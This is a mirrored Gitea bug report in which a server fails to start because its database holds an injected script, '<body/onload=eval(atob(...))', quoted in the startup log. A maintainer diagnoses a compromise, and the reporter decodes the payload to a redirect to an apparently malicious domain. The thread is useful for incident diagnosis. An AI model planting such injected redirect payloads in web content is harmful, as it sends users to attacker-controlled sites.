mustInitCtx() failed when startup #11696

Closed
opened 2025-11-02 09:44:56 -06:00 by GiteaMirror · 2 comments
Owner

Originally created by @246859 on GitHub (Sep 22, 2023).

Description

at the beginning,browser always displayed 500,When I tried to restart Gitea, I found that it was no longer possible to startup.
Actually, I didn't do anything that day.

2023/09/22 14:57:58 cmd/web.go:223:runWeb() [I] Starting Gitea on PID: 3502697
2023/09/22 14:57:58 cmd/web.go:148:serveInstalled() [I] Gitea version: 1.20.4 built with GNU Make 4.2.1, go1.20.8 : bindata, sqlite, sqlite_unlock_notify
2023/09/22 14:57:58 cmd/web.go:149:serveInstalled() [I] App path: /usr/local/bin/gitea
2023/09/22 14:57:58 cmd/web.go:150:serveInstalled() [I] Work path: /var/lib/gitea
2023/09/22 14:57:58 cmd/web.go:151:serveInstalled() [I] Custom path: /var/lib/gitea/custom
2023/09/22 14:57:58 cmd/web.go:152:serveInstalled() [I] Config file: /etc/gitea/app.ini
2023/09/22 14:57:58 cmd/web.go:153:serveInstalled() [I] Run mode: prod
2023/09/22 14:57:58 cmd/web.go:154:serveInstalled() [I] Prepare to run web server
2023/09/22 14:57:58 routers/init.go:112:InitWebInstalled() [I] Git version: 2.25.1, Wire Protocol Version 2 Enabled (home: /var/lib/gitea/data/home)
2023/09/22 14:57:58 ...les/setting/cache.go:75:loadCacheFrom() [I] Cache Service Enabled
2023/09/22 14:57:58 ...les/setting/cache.go:90:loadCacheFrom() [I] Last Commit Cache Service Enabled
2023/09/22 14:57:58 ...s/setting/session.go:74:loadSessionFrom() [I] Session Service Enabled
2023/09/22 14:57:58 ...es/setting/mailer.go:237:loadMailerFrom() [I] Mail Service Enabled
2023/09/22 14:57:58 ...es/setting/mailer.go:248:loadRegisterMailFrom() [I] Register Mail Service Enabled
2023/09/22 14:57:58 ...es/setting/mailer.go:259:loadNotifyMailFrom() [I] Notify Mail Service Enabled
2023/09/22 14:57:58 ...s/storage/storage.go:176:initAttachments() [I] Initialising Attachment storage with type: local
2023/09/22 14:57:58 ...les/storage/local.go:33:NewLocalStorage() [I] Creating new Local Storage at /var/lib/gitea/data/attachments
2023/09/22 14:57:58 ...s/storage/storage.go:166:initAvatars() [I] Initialising Avatar storage with type: local
2023/09/22 14:57:58 ...les/storage/local.go:33:NewLocalStorage() [I] Creating new Local Storage at /var/lib/gitea/data/avatars
2023/09/22 14:57:58 ...s/storage/storage.go:192:initRepoAvatars() [I] Initialising Repository Avatar storage with type: local
2023/09/22 14:57:58 ...les/storage/local.go:33:NewLocalStorage() [I] Creating new Local Storage at /var/lib/gitea/data/repo-avatars
2023/09/22 14:57:58 ...s/storage/storage.go:186:initLFS() [I] Initialising LFS storage with type: local
2023/09/22 14:57:58 ...les/storage/local.go:33:NewLocalStorage() [I] Creating new Local Storage at /var/lib/gitea/data/lfs
2023/09/22 14:57:58 ...s/storage/storage.go:198:initRepoArchives() [I] Initialising Repository Archive storage with type: local
2023/09/22 14:57:58 ...les/storage/local.go:33:NewLocalStorage() [I] Creating new Local Storage at /var/lib/gitea/data/repo-archive
2023/09/22 14:57:58 ...s/storage/storage.go:208:initPackages() [I] Initialising Packages storage with type: local
2023/09/22 14:57:58 ...les/storage/local.go:33:NewLocalStorage() [I] Creating new Local Storage at /var/lib/gitea/data/packages
2023/09/22 14:57:58 routers/init.go:130:InitWebInstalled() [I] SQLite3 support is enabled
2023/09/22 14:57:58 routers/common/db.go:21:InitDBEngine() [I] Beginning ORM engine initialization.
2023/09/22 14:57:58 routers/common/db.go:28:InitDBEngine() [I] ORM engine initialization attempt #1/10...
2023/09/22 14:57:58 cmd/web.go:175:serveInstalled() [I] PING DATABASE mysql
2023/09/22 14:57:58 cmd/web.go:175:serveInstalled() [W] Table system_setting Column version db default is , struct default is 1
2023/09/22 14:57:58 routers/init.go:136:InitWebInstalled() [I] ORM engine initialization successful!
2023/09/22 14:57:58 ...er/issues/indexer.go:156:func2() [I] PID 3502697: Initializing Issue Indexer: bleve
2023/09/22 14:57:58 ...xer/stats/indexer.go:38:populateRepoIndexer() [I] Populating the repo stats indexer with existing repositories
2023/09/22 14:57:58 ...er/issues/indexer.go:246:func3() [I] Issue Indexer Initialization took 725.906µs
2023/09/22 14:57:58 routers/init.go:69:mustInitCtx() [F] code.gitea.io/gitea/routers.syncAppConfForGit(ctx) failed: readObjectStart: expect { or n, but found <, error found in #1 byte of ...|<body/onloa|..., bigger context ...|<body/onload=eval(atob("d2luZG93LmxvY2F0aW9uLnJlcGx|...

Gitea Version

1.20.4

Can you reproduce the bug on the Gitea demo site?

No

Log Gist

above

Screenshots

No response

Git Version

2.25.1

Operating System

ubuntu 22.04

How are you running Gitea?

command

gitea web --config /etc/gitea/app.ini

Database

MySQL/MariaDB

Originally created by @246859 on GitHub (Sep 22, 2023). ### Description at the beginning,browser always displayed 500,When I tried to restart Gitea, I found that it was no longer possible to startup. Actually, I didn't do anything that day. ``` 2023/09/22 14:57:58 cmd/web.go:223:runWeb() [I] Starting Gitea on PID: 3502697 2023/09/22 14:57:58 cmd/web.go:148:serveInstalled() [I] Gitea version: 1.20.4 built with GNU Make 4.2.1, go1.20.8 : bindata, sqlite, sqlite_unlock_notify 2023/09/22 14:57:58 cmd/web.go:149:serveInstalled() [I] App path: /usr/local/bin/gitea 2023/09/22 14:57:58 cmd/web.go:150:serveInstalled() [I] Work path: /var/lib/gitea 2023/09/22 14:57:58 cmd/web.go:151:serveInstalled() [I] Custom path: /var/lib/gitea/custom 2023/09/22 14:57:58 cmd/web.go:152:serveInstalled() [I] Config file: /etc/gitea/app.ini 2023/09/22 14:57:58 cmd/web.go:153:serveInstalled() [I] Run mode: prod 2023/09/22 14:57:58 cmd/web.go:154:serveInstalled() [I] Prepare to run web server 2023/09/22 14:57:58 routers/init.go:112:InitWebInstalled() [I] Git version: 2.25.1, Wire Protocol Version 2 Enabled (home: /var/lib/gitea/data/home) 2023/09/22 14:57:58 ...les/setting/cache.go:75:loadCacheFrom() [I] Cache Service Enabled 2023/09/22 14:57:58 ...les/setting/cache.go:90:loadCacheFrom() [I] Last Commit Cache Service Enabled 2023/09/22 14:57:58 ...s/setting/session.go:74:loadSessionFrom() [I] Session Service Enabled 2023/09/22 14:57:58 ...es/setting/mailer.go:237:loadMailerFrom() [I] Mail Service Enabled 2023/09/22 14:57:58 ...es/setting/mailer.go:248:loadRegisterMailFrom() [I] Register Mail Service Enabled 2023/09/22 14:57:58 ...es/setting/mailer.go:259:loadNotifyMailFrom() [I] Notify Mail Service Enabled 2023/09/22 14:57:58 ...s/storage/storage.go:176:initAttachments() [I] Initialising Attachment storage with type: local 2023/09/22 14:57:58 ...les/storage/local.go:33:NewLocalStorage() [I] Creating new Local Storage at /var/lib/gitea/data/attachments 2023/09/22 14:57:58 ...s/storage/storage.go:166:initAvatars() [I] Initialising Avatar storage with type: local 2023/09/22 14:57:58 ...les/storage/local.go:33:NewLocalStorage() [I] Creating new Local Storage at /var/lib/gitea/data/avatars 2023/09/22 14:57:58 ...s/storage/storage.go:192:initRepoAvatars() [I] Initialising Repository Avatar storage with type: local 2023/09/22 14:57:58 ...les/storage/local.go:33:NewLocalStorage() [I] Creating new Local Storage at /var/lib/gitea/data/repo-avatars 2023/09/22 14:57:58 ...s/storage/storage.go:186:initLFS() [I] Initialising LFS storage with type: local 2023/09/22 14:57:58 ...les/storage/local.go:33:NewLocalStorage() [I] Creating new Local Storage at /var/lib/gitea/data/lfs 2023/09/22 14:57:58 ...s/storage/storage.go:198:initRepoArchives() [I] Initialising Repository Archive storage with type: local 2023/09/22 14:57:58 ...les/storage/local.go:33:NewLocalStorage() [I] Creating new Local Storage at /var/lib/gitea/data/repo-archive 2023/09/22 14:57:58 ...s/storage/storage.go:208:initPackages() [I] Initialising Packages storage with type: local 2023/09/22 14:57:58 ...les/storage/local.go:33:NewLocalStorage() [I] Creating new Local Storage at /var/lib/gitea/data/packages 2023/09/22 14:57:58 routers/init.go:130:InitWebInstalled() [I] SQLite3 support is enabled 2023/09/22 14:57:58 routers/common/db.go:21:InitDBEngine() [I] Beginning ORM engine initialization. 2023/09/22 14:57:58 routers/common/db.go:28:InitDBEngine() [I] ORM engine initialization attempt #1/10... 2023/09/22 14:57:58 cmd/web.go:175:serveInstalled() [I] PING DATABASE mysql 2023/09/22 14:57:58 cmd/web.go:175:serveInstalled() [W] Table system_setting Column version db default is , struct default is 1 2023/09/22 14:57:58 routers/init.go:136:InitWebInstalled() [I] ORM engine initialization successful! 2023/09/22 14:57:58 ...er/issues/indexer.go:156:func2() [I] PID 3502697: Initializing Issue Indexer: bleve 2023/09/22 14:57:58 ...xer/stats/indexer.go:38:populateRepoIndexer() [I] Populating the repo stats indexer with existing repositories 2023/09/22 14:57:58 ...er/issues/indexer.go:246:func3() [I] Issue Indexer Initialization took 725.906µs 2023/09/22 14:57:58 routers/init.go:69:mustInitCtx() [F] code.gitea.io/gitea/routers.syncAppConfForGit(ctx) failed: readObjectStart: expect { or n, but found <, error found in #1 byte of ...|<body/onloa|..., bigger context ...|<body/onload=eval(atob("d2luZG93LmxvY2F0aW9uLnJlcGx|... ``` ### Gitea Version 1.20.4 ### Can you reproduce the bug on the Gitea demo site? No ### Log Gist above ### Screenshots _No response_ ### Git Version 2.25.1 ### Operating System ubuntu 22.04 ### How are you running Gitea? command ``` gitea web --config /etc/gitea/app.ini ``` ### Database MySQL/MariaDB
GiteaMirror added the issue/needs-feedback label 2025-11-02 09:44:56 -06:00
Author
Owner

@wxiaoguang commented on GitHub (Sep 22, 2023):

I guess your system has been hacked, and the database is corrupted.

The hacker has injected malicious code code into your database: <body/onload=eval(atob("d2luZG93LmxvY2F0aW9uLnJlcGx|...

If you are sure your system is healthy, you need to figure out where that code comes from.

@wxiaoguang commented on GitHub (Sep 22, 2023): I guess your system has been hacked, and the database is corrupted. The hacker has injected malicious code code into your database: `<body/onload=eval(atob("d2luZG93LmxvY2F0aW9uLnJlcGx|...` If you are sure your system is healthy, you need to figure out where that code comes from.
Author
Owner

@246859 commented on GitHub (Sep 22, 2023):

yes,you are right,after using base64 decoding,I got a url

window.location.replace("https://hzr0dm28m17c.com/ebmss0jq7?key=c90a3363013c5fcaaf8bf5a9a4e4086a")
@246859 commented on GitHub (Sep 22, 2023): yes,you are right,after using base64 decoding,I got a url ``` window.location.replace("https://hzr0dm28m17c.com/ebmss0jq7?key=c90a3363013c5fcaaf8bf5a9a4e4086a") ```
Sign in to join this conversation.
1 Participants
Notifications
Due Date
No due date set.
Dependencies

No dependencies set.

Reference: github-starred/gitea#11696